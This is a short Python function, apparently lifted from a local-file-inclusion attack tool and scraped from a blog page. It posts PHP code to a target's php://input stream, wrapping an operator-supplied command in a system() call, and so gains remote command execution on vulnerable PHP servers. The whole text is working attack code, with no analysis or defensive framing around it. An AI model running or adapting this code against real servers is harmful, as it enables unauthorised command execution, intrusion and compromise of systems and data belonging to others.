def send_phpinput_cmd(cmd, inputurl):
global gen_headers
if(inputurl[-11:] == "php://input"):
inputurl = inputurl[:-11]
url = "%sphp://input" %(inputurl)
phpcmd = cmd[:6] == "php://"
body = ""
if(phpcmd):
cmd = cmd[6:]
length = 27+len(cmd)
body = "AbracadabrA ** <?php %s?> **" %cmd
else:
length = 34+len(cmd)
body = "AbracadabrA ** <?php system('%s');?> **" %cmd
gen_headers['Content-Length'] = '%s' %length
r = requests.post(url=url, headers=gen_headers, data=body)
return r.text
评论列表
文章目录